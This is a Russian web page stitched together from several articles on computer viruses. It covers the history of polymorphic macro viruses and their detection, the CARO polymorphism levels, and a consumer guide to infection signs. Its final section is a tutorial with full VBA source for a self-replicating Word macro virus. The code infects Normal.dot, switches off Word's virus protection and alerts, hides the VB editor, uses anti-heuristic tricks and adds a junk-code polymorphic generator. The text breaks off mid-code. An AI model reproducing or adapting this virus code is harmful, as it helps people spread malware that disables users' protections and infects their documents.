Полиморфные вирусы и макровирусы
Первый вопрос, который приходит на ум – что именно классифицирует макровирусы, как полиморфные? Большинство макро-вирусов очень примитивны и не относятся к полиморфным. Однако есть несколько более сложных экземпляров зашифрованных вирусов, некоторые из которых даже имеют полиморфное кодирование.
Первым, еще детским, шагом к полиморфизму был Outlaw. Фактически, его даже нельзя назвать полноценным полиморфом. Сам вирусный код не изменялся ни на байт, менялось только название несущего макроса. Поэтому, Outlaw полиморфом не являлся, хотя его первоначально и отнесли именно к этому классу вирусов. Все дело в том, что ранние (преимущественно, WordBasic-основанные) защитные программы, созданные для борьбы с макровирусами, проверяли только имя макроса (примитивно, но именно так и обстояло дело!) и подобная смена названия макроса позволяла довольно долго водить за нос антивирусы. Позже, когда ранние антивирусы сменились более совершенными, проверяющими код или логику программы, обнаружилось, что Outlaw не является полиморфом, а относится к обычным, неморфическим макровирусам.
Далее последовал шаг, который и по сей день использует большинство вирусов - вставка всякого мусора в вирусный код. В самом простом случае, используется вставка строк, содержащих случайные комментарии. Семейство WM97.Class - хороший пример этой техники. В этих вирусах каждая линия макрокода заполнена случайными комментариями, обычно содержащими различные комбинации имени пользователя, даты, установленных принтеров и т.д. Вот пример подобного куска кода из зараженного файла:
'SiR DySTyKSDINFECTEDINFECTED.DOC5/22/2001 6:04: 06 AM
On Error Resume Next
'SiR DySTyKSDINFECTEDINFECTED.DOC5/22/2001 6:04:06 AM
Options.SaveNormalPrompt = 0
'SiR DySTyKSDINFECTEDINFECTED.DOC5/22/2001 6:04:06 AM
Options.ConfirmConversions = 0
А вот этот же фрагмент в другом зараженном файле:
'SiR DySTyKSDGOAT1GOAT1.DOC5/22/2001 6:04:16 AM
On Error Resume Next
'SiR DySTyKSDGOAT1GOAT1.DOC5/22/2001 6:04:16 AM
Options.SaveNormalPrompt = 0
'SiR DySTyKSDGOAT1GOAT1.DOC5/22/2001 6:04:16 AM
Options.ConfirmConversions = 0
Эта методика привела к совершенствованию антивирусов – в ответ на нее, в антивирусные сканеры была добавлена технология игнорирования строк-коментариев при просмотре кода.
С каждым шагом инфицирования запрашивался макрос FileSaveAs и вирус несколько видоизменял свой код. Добавлялись случайные числа в виде комментариев и добавлялись дополнительные пустые строки. Через несколько стадий макрос напоминал следующий фрагмент:
dlg.Format = 1
' 0.38007424142506
jqp$ = FileName$()
Loop While DjFeUOL2kkwJCIE6 ActiveDocument.Save
DwFNV1qyGsV4 = 187
For LU1VyC6 = 8 To 54 Step 3:
If dDGlb7 <> Rnd * 28 Then
Do
PjN7FDkGwkU7 = PjN7FDkGwkU7 + 6
Loop While PjN7FDkGwkU7 ActiveDocument.Close: TzLPGXn3lZ6 = 1
В дополнение к вышеописанному, в данном вирусе применилась достаточно революционная по тем временам новинка – в командах заменялось написание некоторых символов – с заглавных на строчные и наоборот. Ну и, к тому же, вирус использовал опыт предшественников и, особенно в первых модификациях, активно использовал вставку комментариев в код. Надо признать, что различные экземпляры данного вируса даже в одинаковых поколениях были крайне непохожи друг на друга. Вирус был достаточно успешным и распространенным, но только до тех пор, пока в антивирусах в процедурах нормализации кода не были учтены все применяемые новинки.
Здесь надо отметить, что хоть существовавшие к тому моменту традиционные технологии нормализации кода в большинстве случаев и не позволяли поимку полиморфных макровирусов, но иногда могли и сработать - в случае выделения характерных фрагментов. В частности, в нашем примере, программистам требовалось бы декомпилировать код и выделить фрагменты вируса из остального месива мусора и частей других программ. Затем требовалось бы запустить процесс размножения и изучить изменение строк кода с каждым шагом, после чего запустить анализатор кода и выявить во всех копиях вируса из всего несущественного цифрового хлама следующие строки
Все, этого было бы достаточно для сканеров и подсчета контрольных сумм. Но, как вы, конечно, понимаете, это – отнюдь не быстрый процесс, и могло пройти несколько недель (а то и месяцев!), прежде чем был бы выявлен уникальный, характерный для данного макровируса отпечаток кода. И все это время вирус абсолютно беспрепятственно размножался бы по всей планете.
Вскоре вирусы научились генерировать не только случайный цифровой мусор, но и части собственного значимого вирусного кода. Этот тип вирусов известен как Code Collectors. Примером такого типа вирусов может служить вирус Hope.AF. Его особенностью являлась способность альтернативной замены собственных фрагментов – функций и переменных. К примеру, объект ActiveDocument мог быть представлен в теле вируса случайным образом несколькими способами:
При каждом копировании производился случайный выбор одного из вариантов:
Фактически, логика программы от этого не менялась, происходили лишь небольшие, но многочисленные флуктуации относительного первоначального варианта. Но именно это и не позволяло привести код в единый нормальный вид или выделить характерную строку (хотя, в нашем примере можно выделить длинный фрагмент, но для этого необходимо предварительно провести декомпиляцию).
Вирусы данного класса являлись интересной разработкой, требующей от разработчиков антивирусных программ немалых затрат времени и ресурсов. Но, в итоге, все рано в каждом конкретном случае находились достаточно длинные фрагменты, пригодные для CRC-детектора.
Наверное, читая эту статью и встречая описания различных способов изменения кода, вы уже сами обдумали этот самый очевидный вариант изменения кода – шифрование. Действительно, вся история полиморфных вирусов неразрывно связана с кодированием. Еще в славную эпоху седых 286-ых и 386-ых компьютеров кодированные полиморфы уже вовсю бегали по планете.
Конечно, мысль о кодированных макровирусах пришла в голову не только вам. Многие макровирусы используют статичное шифрование частей вирусного кода, применяя для этого, как правило, какой-нибудь простенький алгоритм (XOR или Shift). Ключ шифрования может изменяться от поколения к поколению, но, как правило, не претерпевает сильных изменений. Здесь в качестве примера можно привести макровирус Antisocial.F, в котором механизм кодирования и ключ к нему хранится в комментариях в коде. В процессе размножения код меняется, но также выделен в комментариях к каждому конкретному экземпляру вируса.
Разнообразные вирусы, использующие смену названий, были еще одной интересной попыткой создания полиморфного вируса. Самыми известными вирусами этой серии было семейство IIS. Так, IIS.I использовал различные методики смены названий и функций. По-видимому, автор вируса предпринял попытку изменять все обозначения, используемые в вирусном коде, но по каким-то неизвестным причинам (программные недоработки или элементарная забывчивость) не смог изменить часть из них. Вирус генерирует разнообразные имена, которые используют символы ASCII кода (от 130 до 204). Получаемый код труден для чтения и восприятия, как в приведенном примере:
If Left(+ÿ¦, 1) = "'" Then
Вирус хранит свой код в глобальном шаблоне во временных строках буфера. Там же содержится массив разнообразных имен – старых и новых, которые могут встретиться в процессе мутации. Имена выбираются из набора, хранящегося внутри вирусного кода. Существует целая серия строк-комментариев, в которых хранятся эти постоянно изменяющиеся обозначения, с соответствующими инструкциями к ним. После перебора всех имеющихся случайных обозначений, вирус генерирует новые. Новые обозначения имеют случайную длину (от 2 до 22 символов) и состоят из случайных символов ASCII с кодом в пределах от 130 до 204. Новые имена также хранятся в массиве в случайном месте
В отличие от других полиморфов, IIS.I даже осуществлял проверки для избежания конфликтов названий. Проверка проводилась по двум причинам: (обе могут вести к ошибке):
Если обнаруживалось несоответствие одному из этих требований, вирус решал проблему очень просто - генерировал новые случайные имена (а в некоторых версиях изменяя или добавляя один из символов в названии).
После того, как вирус проводил проверку и решал, что новое обозначение годится, вирус начинал поиск в буфере строчка за строчкой. Строки, содержащие свой код, вирус отмечал специальными метками из ASCII таблицы с символами менее 65. Как только вирус находил свою старую переменную, он заменял ее на новую, после чего процесс продолжался.
К полиморфным этот вирус относили только потому, что антивирусные сканеры кода или p-кода не способны были его обнаружить. Для обнаружения данного типа вирусов использовался поиск устанавливаемых вирусом меток, после чего вирус поражался его же оружием – найденные компоненты заменялись на неизвестные вирусу переменные:
If Left(var_1, 1) = "'" Then
var_2 = var_2 + 1
var_3(var_2, 1) = Mid(var_1, 2, Len(var_1))
Но тут всегда существовала опасность, что вирус мог и не записывать свой код в пустые модули, а дописывать в уже существующие (примером являются Win32 вирусы EPO viruses). В этом случае метка переменной вируса могла начинаться не с, допустим, var_1, а с var_234 и даже var_7458. В таком случае сканер должен искать четкое соответствие между названием переменной и ее нахождением в макрокоде и удалять исключительно переменные, имеющиеся в базе данных вируса. Здесь очень важно, с одной стороны, не пропустить вирусных компонентов, а с другой, очень осторожно подходить к их замене, иначе результатом будет потеря огромных массивов данных и сбой в работе основной программы, что никак не допустимо для антивирусных программ.
В этой статье рассмотрены ранние этапы создания полиморфизма в вирусах, эволюция полиморфных макровирусов, используемые вирусные технологии и их методы обнаружения. В следующей статье будут рассмотрены первые серьезные макровирусы, которые действительно сумели достичь полиморфизма, их эволюция до настоящего времени, наблюдающиеся пути дальнейшего развития, а также метаморфы – вирусы будущего.
Полиморфизм компьютерного вируса - специальный механизм, позволяющий вредоносному коду меняться от заражения к заражению.
Содержание
Полиморфизм вируса заключается в формировании кода вируса "на лету" - уже во время исполнения, при этом сама процедура, формирующая код также может быть непостоянной и видоизменяться при каждом новом заражении. Таким образом, можно говорить, что полиморфные вирусы имеют способность полностью менять себя при каждом новом заражении, образуя многообразие образцов одного и того же вируса.
Полиморфные вирусы
Полиморфный вирус - вирус, предпринимающий специальные меры для затруднения своего обнаружения и анализа. Не имеет сигнатур, т. е., не содержит ни одного постоянного участка кода. В большинстве случаев два образца одного и того же вируса-полиморфика не будут иметь ни одного совпадения. Достигается это за счет шифрования основного тела вируса и существенной модификации от копии к копии модуля-расшифровщика.
Каждый экземпляр полиморфного вируса шифруется своим ключом. Для шифрования кода полиморфного вируса могут использоваться случайные ключи и алгоритмы шифрования.
Для обнаружения полиморфных вирусов, как правило, используются специально разрабатываемые для каждого полиморфного вируса алгоритмы обнаружения.
Уровни полиморфизма
В классификации CARO полиморфные вирусы в зависимости от их сложности разделяют на несколько уровней.
Уровень 1. Вирусы первого уровня полиморфизма используют постоянные значения для разных расшифровщиков. Их можно обнаружить по некоторым постоянным участкам кода расшифровщика. Такие вирусы принято называть "не совсем полиморфными", или олигоморфными (oligomorphic).
Уровень 2. Ко второму уровню полиморфизма относят вирусы, расшифровщик которых имеет постоянной одну или несколько инструкций. Например, он может использовать различные регистры, некоторые альтернативные инструкции в расшифровщике. Такие вирусы также можно распознать по определенной сигнатуре - заданным сочетаниям байт в расшифровщике.
Уровень 3. Вирусы, использующие в расшифровщике команды, не участвующие в расшифровании вирусного кода, или "команды-мусора", относят к третьему уровню полиморфизма. Это такие команды ассемблера, как NOP, MOV AX, AX, STI, CLD, CLI и т.д. Данные вирусы также можно определить с помощью некоторой сигнатуры, если произвести отсеивание всех "мусорных" команд.
Уровень 4. Вирусы четвертого уровня используют в расшифровщике взаимозаменяемые инструкции и "перемешанные" инструкции без изменения алгоритма расшифрования. Например, ассемблерная команда MOV AX,BX имеет взаимозаменяемые инструкции: PUSH BX - POP AX; XCHG AX,BX; MOV CX,BX - MOV AX,CX и т. д. Детектирование данных вирусов возможно с помощью некоторой перебираемой сигнатуры.
Уровень 5. Пятый уровень полиморфизма включает свойства всех перечисленных уровней, а кроме того, расшифровщик может использовать различные алгоритмы расшифрования вирусного кода. Для расшифровки возможно использование основного вирусного кода, расшифровки части самого же декриптора или нескольких расшифровщиков, поочередно расшифровывающих друг друга либо непосредственно вирусный код. Как правило, обнаружение вирусов данного уровня полиморфизма с помощью сигнатуры невозможно. Если для обнаружения такого вируса возможен серьезный анализ кода только самого расшифровщика, то для лечения необходимо произвести частичную или полную расшифровку тела вируса, чтобы извлечь информацию о зараженном файле.
Уровень 6. К нему относятся нешифрованные вирусы - т. е. вирусы, состоящие из программных единиц-частей, которые "перемешиваются" внутри тела вируса. Данные вирусы, как "кубики", тасуют свои подпрограммы (инсталляции, заражения, обработчика прерывания, анализа файла и т. д.). Такие вирусы еще называются пермутирующими (permutating).
История
Первым представителем полиморфных вирусов стал "Chameleon" в начале 1990 года, однако проблема стала серьезней чуть позже – в апреле 1991 года была зарегистрирована эпидемия "Tequila". Идея полиморфных вирусов стала столь популярна, что дошло до создания генераторов полиморфных вирусных кодов – первым стал MtE. Кроме того, генератор позволял получать полиморфный вирус из обычного – путем присоединения к OBJ-файлу вируса файла полиморфного кода с идентичным расширением.
Фактически, с появлением генераторов для создания полиморфного вируса не требовалось знать код оригинального вируса – достаточно было просто "скормить" его генератору, и тот делал всю работу за начинающего хакера. Впоследствии полиморфные вирусы стали крайне популярны, так как для их отлова требуются специальные математические алгоритмы восстановления исходного кода вируса, эмуляция исполняемого вирусом действий и другие сложности.
Генераторы полиморфных вирусов также совершенствовались – в середине девяностых это были MTE 0.90 (Mutation Engine), TPE (Trident Polymorphic Engine), четыре версии NED (Nuke Encryption Device) и DAME (Dark Angel's Multiple Encryptor).
Полиморфные вирусы активно развивались примерно до начала XXI века, однако затем произошел общий крен вирусописательства в сторону червей и троянов. Технология постоянной мутации кода для затруднения обнаружения антивирусными программами временно оказалась невостребованной.
Однако начиная примерно с 2003 года полиморфизм снова начинает привлекать внимание вирусного сообщества. Это было вызвано тем, что антивирусные программы все больше и больше совершенствовались, и уже стало нельзя использовать в качестве инструментов скрытия кода различные программы-паковщики, которые были на тот момент излюбленным детищем вирусописателей.
И снова здравствуйте.
Тема сегодняшней статьи компьютерные вирусы. Виды компьютерных вирусов, принципы их работы, пути заражения компьютерными вирусами.
Что вообще такое компьютерные вирусы.
Виды вредоносных программ.
Разделить вредоносные программы можно на два основных вида.
Вирусы и черви.
Но он явно попал не через интернет а скорее всего через пиратский диск. Суть его работы была таковой — он создавал будто бы копию каждой папки в компьютере или на флешке. Но на самом деле он создавал не похожую папку а exe файл. При нажатии на такой exe файл он распространялся ещё сильнее по системе. И вот было только избавишься от него, придешь к другу с флешкой, скинуть у него музыку а возвращаешься с зараженной таким червем флешку и снова приходилось его выводить. Наносил ли этот вирус какой то ещё вред системе я не знаю, но вскоре этот вирус прекратил своё существование.
Основные разновидности вирусов.
Пути заражения компьютерными вирусами.
Основные пути заражения.
— Уязвимость операционной системы.
— Уязвимость в браузере
— Качество антивируса хромает
— Глупость пользователя
— Сменные носители.
Уязвимость ОС — как бы не старались клепать защиту для ОС со временем находятся дыры безопасности. Большинство вирусов пишется под windows так как это самая популярная операционная система. Лучшая защита это постоянно обновлять вашу операционную систему и стараться использовать более новую версию.
Браузеры — Здесь происходит за счёт уязвимостей браузеров, особенно если они опять же старые. Лечится так же частым обновлением. Так же могут быть проблемы если вы качаете плагины для браузера со сторонних ресурсов.
Антивирусы — бесплатные антивирусы которые имеют меньший функционал в отличие от платных. Хотя и платные не дают 100 результата в защите и дают осечки. Но желательно иметь всё же хотя бы бесплатный антивирус. Я уже писал про бесплатные антивирусы в этой статье.
Глупость пользователя — клики по баннерам, переходи по подозрительным ссылкам из писем и тд, установка софта из подозрительных мест.
Сменные носители — вирусы могут устанавливаться автоматически с зараженных и специально подготовленных флешек и прочих сменных носителей. Не так давно мир услышал про уязвимость BadUSB.
Виды заражаемых объектов.
Файлы — Заражают ваши программы, системные и обычные файлы.
Загрузочные секторы — резидентные вирусы. Заражают как понятно из названия загрузочные сектора компьютера, приписывают свой код в автозагрузку компьютера и запускаются при запуске операционной системе. Порою хорошо маскируются что трудно убрать из автозагрузки.
Макрокоманды — Документы word, excel и подобные. Использую макросы и уязвимости средств Microsoft office вносит свой вредоносный код в вашу операционную систему.
Признаки заражения компьютерными вирусами.
Не факт что при появлении некоторых из этих признаков означает наличие вируса в системе. Но если они имеются рекомендуется проверить свой компьютер антивирусом или обратиться к специалисту.
Один из распространенных признаков — это сильная перегрузка компьютера. Когда у вас медленно работает компьютер, хотя у вас ничего вроде бы не включено, программ которые могут сильно нагружать компьютер. Но если у вас антивирус заметьте антивирусы сами по себе нагружают компьютер очень хорошо. А в случае отсутствия такого софта который может грузить то скорее тут вирусы. Вообще советую по уменьшить для начала количество запускаемых программ в автозапуске.
Медленная загрузка программ, так же может быть одним из признаков заражения.
Но не все вирусы могут сильно нагружать систему, некоторые практически трудно заметить изменения.
Системные ошибки. Перестают работать драйвера, некоторые программы начинают работать не правильно или часто вылетают с ошибкой но раньше допустим такого не замечалось. Или начинают часто перезагружаться программы. Конечно такое бывает из за антивирусов, например антивирус удалил по ошибке посчитав системный файл вредоносным, либо удалил действительно зараженный файл но он был связан с системными файлами программы и удаление повлекло за собой такие ошибки.
Появление рекламы в браузерах или даже на рабочем столе начинают появляться баннеры.
Появление не стандартных звуков при работе компьютера (писк, щелчки ни с того ни с сего и подобное).
Открывается сам по себе CD/DVD привод, или просто начинает словно читать диск хотя диска там нет.
Длительное включение или выключение компьютера.
Угон ваших паролей. Если вы заметили что от вашего имени рассылается различный спам, с вашего почтового ящика или странички социальной сети, как вероятность что вирус проник в ваш компьютер и передал пароли хозяину, если вы заметили такое рекомендую провериться антивирусом в обязательном порядке (хотя не факт что именно так злоумышленник получил ваш пароль).
Частое обращение к жесткому диску. У каждого компьютера есть индикатор, который мигает когда используют различные программы или когда копируете, скачиваете, перемещаете файлы. Например у вас просто включен компьютер но не используется никаких программ, но индикатор начинает часто мигать якобы используются программы. Это уже вирусы на уровне жесткого диска.
Вот собственно и рассмотрели компьютерные вирусы которые могут вам встретиться в интернете. Но на самом деле их в разы больше, и полностью защититься не возможно, разве что не пользоваться интернетом, не покупать диски и вообще не включать компьютер.
Советую по возможности не пренебрегать использованием виртуальных машин или песочницы.
Берегите себя и свои компьютеры.
В последнее время компьютерный мир захлестнула волна макро вирусов. Почему же данные вирусы получили такое
распространение? Всё довольно просто - для создания макро вируса не нужно каких либо глубоких
познаний в программировании, так же не нужно знания ассемблера. Что позволило множеству
неопытных программистов попробовать свои силы в разработке вирусов.
Что же необходимо для разработки макро вируса? Во первых это минимальное знание языка VB и
желательно VBA, для разработки полностью готового к распространению макро вируса вам
понадобится Microsoft Word 97/2000 и желательно какой-нибудь антивирус с обновлёнными
базами.
Итак теория: практически все макро вирусы заражают файл Normal.dot
- это базовый шаблон, который загружается при открытии документа, при создании нового документа.
Что же нам дает заражение Normal.dot? При зараженном Normal.dot, когда создаётся новый файл
в начале отрабатывает макрос, загруженный в Normal.dot.
Это нам даёт возможность заражать все открытые или новые документы (при заражённом Normal.dot).
Теперь разберём алгоритм простейшего макровируса:
1)Если Normal.dot не заражён, то сохраняем текст макроса в каком-нибудь внешнем
скрытом файле.
2)Проверим если текущий документ не заражён, то заразим его.
3)Если Normal.dot не заражён, то инфицируем его.
Алгоритм довольно прост, не правда ли? Давайте теперь его реализуем.
'-------------------------------
Sub Document_Close()
' h0b0t Word 97/2000 macr0 virus
Application.DisplayAlerts = 0 'Отключить тревогу
Options.VirusProtection = False 'Отключить сообщения о вирусах
If Application.UserName <> "[h0b0t]" Then
ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd"
End If
'Экспортирование файла с макросами
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
If AD.lines(1, 1) = "" Then 'Если документ не заражён, то заразим
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1
If LOF(1) = 0 Then GoTo quit1
i = 1
Do While Not EOF(1)
Line Input #1, a
If i > 8 Then
If i = 10 Then
t.CodeModule.InsertLines i, "sub Document_Close()"
Else: t.CodeModule.InsertLines i, a
End If
End If
i = i + 1
Loop
quit1:
Close #1
If Application.UserName <> "[h0b0t]" Then 'Если документ не заражён, то заразим
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1
If LOF(1) = 0 Then GoTo quit
i = 1
Do While Not EOF(1)
Line Input #1, a
If i > 8 Then
If i = 10 Then
t.CodeModule.InsertLines i, "sub AutoClose()"
Else: t.CodeModule.InsertLines i, a
End If
End If
i = i + 1
Loop
quit:
Close #1
Application.UserName = "[h0b0t]"
End If
End Sub
'-------------------------------
Данный вирус заражает документы при их закрытии, но его легко можно модифицировать для
заражения при создании нового документа. Для этого всего лишь необходимо заменить
AutoClose() на AutoNew(). Аналогичным образом можно сделать при открытии документа или при сохранении (AutoOpen,
AutoSave).
Вообще существует множество способов инфицирования документов Word, мы использовали
непосредственную работу с файлами и метод Export для создания файла на диске с текстом
макроса и копированием его в инфицируемые документы.
В макро вирусах применяются все те же вирусные технологии,
что и в обычных вирусах, т.е. стэлс технология, антиэвристика, полиморфизм.
Начнём наше рассмотрение со стэлс технологий. В чём же заключаются стэлс технологии
применительно к макро вирусам? В большинстве своём это сокрытие
собственного кода от глаз пользователей. Реально на практике это выглядит следующим образом: отключаются в меню
Word'a опции "Редактор VB" и отключается кнопка
"Break". После этого пользователь заподозривший наличие макро вируса если полезет посмотреть на
макросы в Word'e ничего не увидит, что нам и требовалось.
Теперь практическая часть к нашему вирусу достаточно добавить следующие строки:
'-------------------------------
Private Sub Stealth()
Application.ShowVisualBasicEditor = 0 'Вырубить показ Редактора VB
Application.EnableCancelKey = 0 'Отключить клавишу Break
End Sub
'-------------------------------
Sub ViewVBCode()
Stealth
End Sub
'-------------------------------
Sub ToolsMacro()
Stealth
End Sub
'-------------------------------
Sub FileTemplates()
Stealth
End Sub
'-------------------------------
После этого можно считать, что мы использовали стэлс технологию для перехвата трёх макросов:
ViewVBCode(), ToolsMacro(), FileTemplates().
Так же имеет смысл отключение тревоги и сообщений о вирусах, зачем пугать пользователей?
Application.DisplayAlerts = 0 'Отключить тревогу
Options.VirusProtection = False 'Отключить сообщения о вирусах
Теперь перейдём к антиэвристике. Основным антиэвристическим приёмом в макро вирусах является смена шрифта, так же можно
использовать другие антиэвристические приёмы, которые находятся довольно простым способом -
методом научного тыка. И так смена шрифта:
После этого AVP и Dr.Web у меня перестали опознавать
даже известные им вирусы, которые до этого успешно обнаруживали.
И последняя технология это как обычно полиморфизм или же "мутационная" технология.
Смысл полиморфной технологии применительно к макро вирусам идентичен полиморфизму для
обычных вирусов. Существует два пути мутациий
- первый и самый распространённый это шифрование кода макроса.
А второй это разбавление кода макроса мусорными командами.
Так же возможно комбинирование этих двух способов рассмотрим более конкретно второй способ.
Данный генератор полиморфного кода предназначен для разбавления реальных инструкций мусором.
Рассмотрим саму функцию:
Private Function poly() As String
Dim mas(20)
mas(1) = "'rghuyhewh" '
mas(2) = "'[+]-31337-[+]" '
mas(3) = "'heh-polymorf-engine-sl0n-(c)" ' Это мусорные
mas(4) = "'sd,jghsdighiuehrwiur345t3bk" ' строки которыми мы
mas(5) = "':for bc=1 to 987: next bc" ' будем разбавлять основной
mas(6) = "'436ghdfjhdfjddfh" ' код
oncemore:
a = Rnd(4) '
a = a * 10 ' Это генератор случайных чисел
a = Int(a) ' В итоге данная функция возвращает
If a > 6 Then GoTo oncemore ' случайную строку из масива mas
poly = mas(a) '
Теперь рассмотрим вирус, который сочетает в себе все три технологии, то есть он будет
использовать как стэлс технологию так и полиморфную технологию плюс пара антиэвристических
инструкций.
Dim mas(20)
mas(1) = "'rghuyhewh" '
mas(2) = "'[+]-31337-[+]" '
mas(3) = "'heh-polymorf-engine-sl0n-(c)" ' Это мусорные
mas(4) = "'sd,jghsdighiuehrwiur345t3bk" ' строки которыми мы
mas(5) = "':for bc=1 to 987: next bc" ' будем разбавлять основной
mas(6) = "'436ghdfjhdfjddfh" ' код
oncemore:
a = Rnd(4) '
a = a * 10 ' Это генератор случайных чисел
a = Int(a) ' В итоге данная функция возвращает
If a > 6 Then GoTo oncemore ' случайную строку из масива mas
poly = mas(a) '
End Function
'-------------------------------
Sub Document_Close()
'Application.UserName = "sl0n"
' h0b0t Word 97/2000 macr0 virus
Application.DisplayAlerts = 0 'Отключить тревогу
Options.VirusProtection = False 'Отключить сообщения о вирусах
fonta = Selection.Font.Name '
Selection.Font.Name = "Arial" ' Антиэвристика
Selection.Font.Name = fonta '
If Application.UserName <> "[h0b0t]" Then
ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd"
End If
'Экспортирование файла с макросами
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
If AD.lines(1, 1) = "" Then 'Если документ не заражён, то заразим
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1
If LOF(1) = 0 Then GoTo quit1
i = 1
Do While Not EOF(1)
Line Input #1, a
If i > 8 Then
If i = 29 Then
t.CodeModule.InsertLines i, "sub Document_Close()"
Else: t.CodeModule.InsertLines i, poly + a + poly
End If
End If
i = i + 1
Loop
quit1:
Close #1
If Application.UserName <> "[h0b0t]" Then 'Если документ не заражён, то заразим
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1
If LOF(1) = 0 Then GoTo quit
i = 1
Do While Not EOF(1)
Line Input #1, a
If i > 8 Then
Читайте также: